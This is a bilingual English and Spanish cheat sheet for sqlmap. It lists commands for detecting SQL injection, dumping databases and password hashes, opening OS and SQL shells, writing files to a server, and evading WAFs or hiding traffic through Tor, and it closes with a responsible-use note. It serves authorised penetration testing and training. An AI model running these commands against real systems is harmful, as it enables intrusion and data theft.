sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. It covers the whole flow: from testing a suspicious parameter to enumerating databases, dumping tables and even getting a shell on the server. It is effectively the de facto standard for SQL injection testing in web pentesting.
The key nuance is that --level and --risk are not cosmetic: they control how many vectors and payloads sqlmap tries. With the defaults (level 1, risk 1) many real injections go unnoticed, especially those living in cookies, headers or POST parameters. Raising these values widens coverage, but also increases noise and the risk of damaging data, so they must be dialed up with judgment.
1. Beginner level — detection and enumeration
Command
What it does
sqlmap -u <url>
Tests a URL for SQL injection
sqlmap -u <url> --dbs
Enumerates the available databases
sqlmap -u <url> -D db --tables
Enumerates the tables of a database
sqlmap -u <url> -D db -T t --columns
Enumerates the columns of a table
sqlmap -u <url> -D db -T t --dump
Dumps the contents of a table
sqlmap -u <url> --current-db
Shows the current database
sqlmap -u <url> --current-user
Shows the current database user
sqlmap -u <url> --batch
Accepts the default values without prompting
sqlmap -u <url> --cookie="x=y"
Sends cookies in the request
sqlmap -u <url> --data="a=1&b=2"
Tests injection in POST data
sqlmap -u <url> --level 3
Increases the testing level (1-5)
sqlmap -u <url> --risk 2
Adjusts the risk of the tests (1-3)
sqlmap -u <url> --forms
Detects and tests forms automatically
sqlmap -u <url> --dbms=mysql
Specifies the database engine
2. Advanced level — shells, WAF bypass and evasion
Command
What it does
sqlmap -u <url> --os-shell
Gets a shell on the server
sqlmap -u <url> --dump-all
Dumps all the databases
sqlmap -u <url> --tamper=space2comment
Applies WAF evasion scripts
sqlmap -u <url> --technique=BEUSTQ
Specifies the injection techniques
sqlmap -u <url> --proxy=http://127.0.0.1:8080
Routes the traffic through a proxy (Burp)
sqlmap -u <url> --tor
Routes the traffic through Tor
sqlmap -r req.txt
Uses a captured HTTP request as input
sqlmap -u <url> --sql-shell
Opens an interactive SQL shell
sqlmap -u <url> --privileges
Enumerates the privileges of the DB user
sqlmap -u <url> --passwords
Dumps the password hashes
sqlmap -u <url> --union-cols=10
Forces the number of columns in UNION
sqlmap -u <url> --second-order=<url2>
Tests second-order SQL injection
sqlmap -u <url> --threads 10
Increases the parallelism of requests
sqlmap -u <url> --file-write=x --file-dest=y
Uploads a file to the server
3. Details people miss
Use --batch in scripts and pipelines so sqlmap does not stall waiting for interactive answers, but review the log afterwards: it accepts default values that are not always the ones you want.
sqlmap caches the results for each target. If you change the request or suspect a false negative, add --flush-session to force a fresh analysis from scratch.
For injections in complex requests (POST, JSON, headers, authentication), capture the request with Burp and feed it in with -r req.txt instead of wrestling with -u and --data.
--os-shell and --file-write require high database privileges (often DBA) and a specific engine configuration; if they fail it is not a sqlmap bug, it is missing permissions or secure_file_priv blocking it.
A single --tamper rarely beats a modern WAF; chain several comma-separated scripts and also tune --random-agent and --delay to reduce blocking.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
sqlmap es una herramienta de código abierto que automatiza la detección y explotación de vulnerabilidades de inyección SQL. Cubre todo el flujo: desde probar un parámetro sospechoso hasta enumerar bases de datos, volcar tablas e incluso obtener una shell en el servidor. Es prácticamente el estándar de facto para pruebas de SQL injection en pentesting web.
El matiz clave es que --level y --risk no son cosméticos: controlan cuántos vectores y payloads prueba sqlmap. Con los valores por defecto (level 1, risk 1) muchas inyecciones reales pasan desapercibidas, sobre todo las que viven en cookies, cabeceras o parámetros POST. Subir estos valores amplía la cobertura, pero también el ruido y el riesgo de dañar datos, así que hay que dosificarlo con criterio.
1. Nivel principiante — detección y enumeración
Comando
Qué hace
sqlmap -u <url>
Prueba una URL en busca de inyección SQL
sqlmap -u <url> --dbs
Enumera las bases de datos disponibles
sqlmap -u <url> -D db --tables
Enumera las tablas de una base de datos
sqlmap -u <url> -D db -T t --columns
Enumera las columnas de una tabla
sqlmap -u <url> -D db -T t --dump
Vuelca el contenido de una tabla
sqlmap -u <url> --current-db
Muestra la base de datos actual
sqlmap -u <url> --current-user
Muestra el usuario actual de la BD
sqlmap -u <url> --batch
Acepta los valores por defecto sin preguntar
sqlmap -u <url> --cookie="x=y"
Envía cookies en la petición
sqlmap -u <url> --data="a=1&b=2"
Prueba inyección en datos POST
sqlmap -u <url> --level 3
Aumenta el nivel de pruebas (1-5)
sqlmap -u <url> --risk 2
Ajusta el riesgo de las pruebas (1-3)
sqlmap -u <url> --forms
Detecta y prueba formularios automáticamente
sqlmap -u <url> --dbms=mysql
Especifica el motor de base de datos
2. Nivel avanzado — shells, WAF bypass y evasión
Comando
Qué hace
sqlmap -u <url> --os-shell
Obtiene una shell en el servidor
sqlmap -u <url> --dump-all
Vuelca todas las bases de datos
sqlmap -u <url> --tamper=space2comment
Aplica scripts de evasión de WAF
sqlmap -u <url> --technique=BEUSTQ
Especifica las técnicas de inyección
sqlmap -u <url> --proxy=http://127.0.0.1:8080
Enruta el tráfico por un proxy (Burp)
sqlmap -u <url> --tor
Enruta el tráfico a través de Tor
sqlmap -r req.txt
Usa una petición HTTP capturada como entrada
sqlmap -u <url> --sql-shell
Abre una shell SQL interactiva
sqlmap -u <url> --privileges
Enumera los privilegios del usuario de BD
sqlmap -u <url> --passwords
Vuelca los hashes de contraseñas
sqlmap -u <url> --union-cols=10
Fuerza el número de columnas en UNION
sqlmap -u <url> --second-order=<url2>
Prueba inyección SQL de segundo orden
sqlmap -u <url> --threads 10
Aumenta el paralelismo de peticiones
sqlmap -u <url> --file-write=x --file-dest=y
Sube un archivo al servidor
3. Detalles que se pasan por alto
Usa --batch en scripts y pipelines para que sqlmap no se quede esperando respuestas interactivas, pero revisa el log después: acepta valores por defecto que no siempre son los que quieres.
sqlmap cachea los resultados de cada objetivo. Si cambias la petición o crees que hay un falso negativo, añade --flush-session para forzar que reanalice desde cero.
Para inyecciones en peticiones complejas (POST, JSON, cabeceras, autenticación), captura la petición con Burp y pásala con -r req.txt en vez de pelearte con -u y --data.
--os-shell y --file-write requieren privilegios altos en la BD (a menudo DBA) y una configuración concreta del motor; si fallan no es un bug de sqlmap, es que faltan permisos o secure_file_priv lo bloquea.
Un solo --tamper rara vez basta contra un WAF moderno; encadena varios scripts separados por comas y ajusta también --random-agent y --delay para reducir el bloqueo.
Uso responsable
Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.